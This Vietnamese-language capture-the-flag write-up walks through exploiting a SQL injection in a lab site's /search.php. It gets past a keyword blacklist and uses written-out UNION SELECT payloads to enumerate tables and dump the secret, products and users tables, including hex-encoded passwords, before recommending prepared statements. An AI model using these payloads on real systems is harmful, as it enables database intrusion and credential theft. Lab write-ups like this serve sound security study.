# Summary SQL Injection - **Mục tiêu:** /search.php - **Lỗ hổng:** SQL Injection - **Tác động**: Cho phép kẻ tấn công thực hiện truy vấn tùy ý đến cơ sở dữ liệu, dẫn đến rò rì dữ liệu nhạy cảm hoặc chiếm quyền điều khiển hệ thống backend. ## Root Cause - SQL Injection xảy ra khi ứng dụng web chèn trực tiếp dữ liệu đầu vào của người dùng vào truy vấn SQL mà không kiểm tra, lọc hoặc sử dụng các biện pháp bảo vệ phù hợp đặc biệt là thiếu hoặc không sử dụng **Prepare Statement** - ![image](https://hackmd.io/_uploads/rkItgfeXxg.png) ## Liệt kê ### Trang mục lục - ![image](https://hackmd.io/_uploads/ByhJGzl7lg.png) - Khi vào trang chủ nó hiện danh sách sản phẩm của web. Với có chức năng tìm kiếm trên với mục tiêu nên sẽ vào phần tìm kiếm. - ![image](https://hackmd.io/_uploads/B1GQzGx7xl.png) - Ở đây có chức năng tìm kiếm sản phẩm với thông thường test xem có bị lỗi SQL injection không em sử dụng payload đơn giản: **'** - Thì nó dẫn đến lỗi syntax: - ![image](https://hackmd.io/_uploads/Byi5GMe7gx.png) => Kết luận được chỗ tìm kiếm này dẫn đến lỗi SQL injection - Thông thường e thử payload: **' OR 1=1-- -** để xem nó có hiển thị hết tất cả các sản phẩm không. - ![image](https://hackmd.io/_uploads/B1iy7fg7xx.png) - Nhưng ở phía backend đã block với từ khóa này và bây giờ cùng xem xét mã nguồn . - ![image](https://hackmd.io/_uploads/B1oQ7GeXxl.png) - Cùng nhìn thấy ở danh sách blacklist đã chặn những từ khóa đặc biệt với payload or 1=1-- - đưa trên nằm trong danh sách chặn nên khi phát hiện nó blocked . - Tới đây ở backend tuy chặn nhiều nhưng các lệnh **union , information** vẫn thực hiện được nên em test . # Khai thác. - Với những thông tin đã nói ở trên e thực hiện khai thác lần lượt. - Đầu tiên e xác định số cột của database cơ sở dữ liệu. - Thực hiện payload: **' UNION SELECT 1,2,3,4,5,6-- -** - Thì nhận được thông báo lỗi các cột không khớp với database - ![image](https://hackmd.io/_uploads/Sk0tSzlmgx.png) - Thực hiện tiếp: **%' UNION SELECT 1,2,3,4,5-- -** - ![image](https://hackmd.io/_uploads/HJXkLzxmee.png) - Thì hiện được danh sách sản phẩm và cũng xác định rõ chứng tỏ database chứa 5 cột. - Rồi bây giờ em sẽ đi xác định các bảng của cơ sở dữ liệu rồi các cột để truy xuất thông tin. - Thực hiện payload: **%' UNION SELECT 1, table_name, 3, 4, 5 FROM information_schema.tables WHERE table_schema=database() -- ** - Thì e thu được danh sách các bảng như sau: - **category** - **products** - **secret** - **users** - Tới đây e chú ý tới bảng **secret** thực hiện truy vấn xem có bao nhiêu cột tương ứng với các bảng trên. - **%' UNION SELECT 1,column_name,3,4,5 FROM information_schema.columns WHERE table_name='secret' --** - ở bảng secret có các cột: - `id`, `name`, `image`, `description`, `price` - Thực hiện truy xuất dữ liệu các cột trên xem flag - **%' UNION SELECT 1, name, image, description, price FROM secret -- ** - Part1: **VSL{M4st3r1ng_Th3_4rt_0f** - Truy xuất dữ liệu các bảng products và bảng users . - Ở bảng products thu được các cột tưởng ứng: - `id`, `name`, `description`, `image`, `price` - Truy xuất lấy dữ liệu như bảng secret - **%' UNION SELECT 1, name, image, description, price FROM products --** - Part2: **_SQL_Inj3ct10n_W1th_** - Tiếp tục bảng users thu được các cột: - `id`, `username`, `password` - Truy xuất dữ liệu lấy flag part cuối: - **%' UNION SELECT 1, username, password, 4, 5 FROM users --** - ![image](https://hackmd.io/_uploads/SJeGeml7gl.png) - Ở đây ở phần password đôi khi người dùng có thể để quên hay lưu mật khẩu dạng **hex** nên kẻ tấn công có thể phát hiện và thực hiện câu lệnh phá vở dạng hex bằng cách thực hiện truy vấn :+1: - **%' UNION SELECT 1,username,unhex(password),4, 5 FROM users -- ** - ![image](https://hackmd.io/_uploads/rkw9xmlmxg.png) - Và tiến hành thu được password thực tế tương ứng với flag cuối :+1: - Part3: **Byp4ss_4ll_F1lt3rs}** - Từ những thông tin đã khai thác trên thu được FLAG hoàn chỉnh: - Flag: **VSL{M4st3r1ng_Th3_4rt_0f_SQL_Inj3ct10n_W1th_Byp4ss_4ll_F1lt3rs}** # Recomment - Đề xuất khắc phục tương ứng: - Sử dụng Prepared Statements (Parameterized Queries) thay cho việc nối chuỗi trong truy vấn SQL. - Escape dữ liệu đầu vào đúng cách. - Sử dụng Web Application Firewall (WAF) để chặn các truy vấn đáng ngờ. - Kiểm thử bảo mật định kỳ với công cụ như SQLMap, Burp Suite.